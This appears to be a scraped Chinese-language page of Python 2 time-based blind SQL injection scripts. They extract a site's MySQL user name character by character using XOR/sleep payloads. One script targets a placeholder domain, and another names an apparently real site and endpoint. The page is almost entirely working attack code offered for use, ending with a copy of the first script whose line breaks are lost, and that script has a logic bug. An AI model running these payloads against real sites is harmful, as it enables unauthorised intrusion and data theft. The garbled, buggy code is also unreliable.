時間盲注腳本.py

 

時間盲注腳本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time

payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'    #匹配用的字符串

user=''
print 'Start to retrive current user:'
for i in range(1,23):
        for payload in payloads:    #遍歷取出字符
                startTime=time.time()
                url = """http://XXXXX.cn/default.php?fid=1-if(now()<sysdate(),sleep(0),0)/*'XOR(if(ascii(substring(user(),"""+str(i)+""",1))="""+str(ord(payload))+""",sleep(20),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/"""
                response=requests.get(url, timeout=30)
                if time.time() - startTime > 15:
                        user =payload
                        print 'user is:', user
                        break
print '\n[Done] current user is %s' % user

 

 

 

 

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib

headers = {}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.ABCDEFGHIJKLMNOPQRST'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 21):#21是user判斷出的長度+1
    for payload in payloads:
        try:
            s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
            s = "aaa'XOR(if(%s,sleep(3),0))OR'bbb" % s
            conn = httplib.HTTPConnection('kact.kingdee.com', timeout=3)#輸入網站地址
            conn.request(method='GET',url="/world/createArticle?corp_id=%s" % urllib.quote(s))
            conn.getresponse()
            conn.close()
            print '.',
        except:
            user += payload
            print '\n[in progress]', user,
            time.sleep(3.0)
            break
        
print '\n[Done] MySQL user is %s' % user

　　

#!/usr/bin/env python# -*- coding: utf-8 -*-import requestsimport time
payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'    #匹配用的字符串
user=''print 'Start to retrive current user:'for i in range(1,23):        for payload in payloads:    #遍歷取出字符                startTime=time.time()                url = """http://XXXXX.cn/default.php?fid=1-if(now()<sysdate(),sleep(0),0)/*'XOR(if(ascii(substring(user(),"""+str(i)+""",1))="""+str(ord(payload))+""",sleep(20),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/"""                response=requests.get(url, timeout=30)                if time.time() - startTime > 15:                        user =payload                        print 'user is:', user                        breakprint '\n[Done] current user is %s' % user